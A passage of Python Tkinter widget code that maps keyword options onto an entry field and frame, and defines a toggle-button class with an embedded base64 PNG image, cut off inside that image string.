self.framecolor= kwargs['bdcolor']
except:
pass
try:
self.align= kwargs['align']
self.__entry.config(justify= self.align)
except:
pass
try:
self.font= kwargs['font']
self.__entry.config(font= self.font)
except:
pass
try:
self.bd= kwargs['bd']
self.__wholeframe.config(bd=self.bd)
except:
pass
try:
self.bd= kwargs['border']
self.__wholeframe.config(bd=self.bd)
except:
pass
try:
self.cmd= kwargs['cmd']
self.__entry.config(command= self.cmd)
except:
pass
try:
self.cmd= kwargs['cmd']
self.__entry.config(command= self.cmd)
except:
pass
try:
self.cur= kwargs['cursor']
self.__entry.config(cursor= self.cursor)
except:
pass
try:
self.cur= kwargs['cursor']
self.__entry.config(cursor= self.cursor)
except:
pass
try:
self.ex= kwargs['export']
self.__entry.config(exportselection= self.ex)
except:
pass
try:
self.slb= kwargs['selectbg']
self.__entry.config(selectbackground= self.slb)
except:
pass
try:
self.slb= kwargs['selectbackground']
self.__entry.config(selectbackground= self.slb)
except:
pass
try:
self.slf= kwargs['selectforeground']
self.__entry.config(selectforeground= self.slf)
except:
pass
try:
self.slf= kwargs['selectfg']
self.__entry.config(selectforeground= self.slf)
except:
pass
try:
self.slbo= kwargs['selectbd']
self.__entry.config(selectborderwidth= self.slbo)
except:
pass
try:
self.slbo= kwargs['selectborderwidth']
self.__entry.config(selectborderwidth= self.slbo)
except:
pass
try:
self.show= kwargs['show']
self.__entry.config(show= self.show)
except:
pass
try:
self.show= kwargs['code']
self.__entry.config(show= self.show)
except:
pass
try:
self.borderbg= kwargs['borderbackground']
self.__wholeframe.config(bg= self.borderbg)
except:
pass
try:
self.state= kwargs['state']
self.__entry.config( bg = self.bgcolor,state= kwargs['state'])
self.__frame.config(bg= self.master['bg'])
except:
pass
try:
self.state= kwargs['mode']
self.__entry.config(state= self.state)
except:
pass
try:
self.txvar= kwargs['textvariable']
self.__entry.config(textvariable= self.txvar)
except:
pass
try:
self.xsc= kwargs['xscrollcommand']
self.__entry.config(xscrollcommand= self.xsc)
except:
pass
def config(self,**kwargs):
try:
self.fgcolor= kwargs['fg']
self.__entry.config(fg= self.fgcolor)
self.__frame.config(bg= self.bgcolor)
except:
pass
try:
self.bgcolor= kwargs['bg']
self.__entry.config(bg= self.bgcolor)
self.__frame.config(bg= self.bgcolor)
except:
pass
try:
self.framecolor= kwargs['bdcolor']
except:
pass
try:
self.align= kwargs['align']
self.__entry.config(justify= self.align)
except:
pass
try:
self.font= kwargs['font']
self.__entry.config(font= self.font)
except:
pass
try:
self.bd= kwargs['bd']
self.__wholeframe.config(bd=self.bd)
except:
pass
try:
self.bd= kwargs['border']
self.__wholeframe.config(bd=self.bd)
except:
pass
try:
self.cmd= kwargs['cmd']
self.__entry.config(command= self.cmd)
except:
pass
try:
self.cmd= kwargs['cmd']
self.__entry.config(command= self.cmd)
except:
pass
try:
self.cur= kwargs['cursor']
self.__entry.config(cursor= self.cursor)
except:
pass
try:
self.cur= kwargs['cursor']
self.__entry.config(cursor= self.cursor)
except:
pass
try:
self.w= kwargs['w']
img= img.resize((int(self.w*13+2*17.5),60), Image.ANTIALIAS)
EImg= ImageTk.PhotoImage(img)
self.__frame.config(image= EImg)
self.__emgs.append( EImg)
self.__entry.config(width= self.w)
except:
pass
try:
self.w= kwargs['width']
img= img.resize((int(self.w*13+2*17.5),60), Image.ANTIALIAS)
EImg= ImageTk.PhotoImage(img)
self.__frame.configure(image= EImg)
self.__emgs.append( EImg)
self.__entry.configure(width= self.w)
except:
pass
try:
self.ex= kwargs['export']
self.__entry.config(exportselection= self.ex)
except:
pass
try:
self.slb= kwargs['selectbg']
self.__entry.config(selectbackground= self.slb)
except:
pass
try:
self.slb= kwargs['selectbackground']
self.__entry.config(selectbackground= self.slb)
except:
pass
try:
self.slf= kwargs['selectforeground']
self.__entry.config(selectforeground= self.slf)
except:
pass
try:
self.slf= kwargs['selectfg']
self.__entry.config(selectforeground= self.slf)
except:
pass
try:
self.slbo= kwargs['selectbd']
self.__entry.config(selectborderwidth= self.slbo)
except:
pass
try:
self.slbo= kwargs['selectborderwidth']
self.__entry.config(selectborderwidth= self.slbo)
except:
pass
try:
self.show= kwargs['show']
self.__entry.config(show= self.show)
except:
pass
try:
self.show= kwargs['code']
self.__entry.config(show= self.show)
except:
pass
try:
self.borderbg= kwargs['borderbackground']
self.__wholeframe.config(bg= self.borderbg)
except:
pass
try:
self.state= kwargs['state']
self.__entry.configure(state=kwargs['state'])
self.__frame.configure(bg=self.master['bg'])
except:
pass
try:
self.state= kwargs['mode']
self.__entry.config(state= self.state)
except:
pass
try:
self.txvar= kwargs['textvariable']
self.__entry.config(textvariable= self.txvar)
except:
pass
try:
self.xsc= kwargs['xscrollcommand']
self.__entry.config(xscrollcommand= self.xsc)
except:
pass
class Mode(tk.Button):
__ml= [{}]
button1bind = None
def dff(self):
if self['background']!= self.master['background'] or self['activebackground']!= self.master['background'] :
self.configure(bg= self.master['background'], activebackground= self.master['background'])
print("configuring colors of graphical-base64-based widgets is banned")
def __OKI(self, event):
global MImg1, MImg2
c= len(self.__ml)-1
if self.mode:
self.mode = False
self.configure(image= MImg1)
self.__ml.append(MImg1)
#print(self.mode)
else:
self.mode = True
self.configure(image= MImg2)
self.__ml.append(MImg2)
try:
return self.button1bind()
except:pass
def ClassInit(self,mode=False,x= 60, y= 30):
global MImg1, MImg2
self.mode = mode
check1=b'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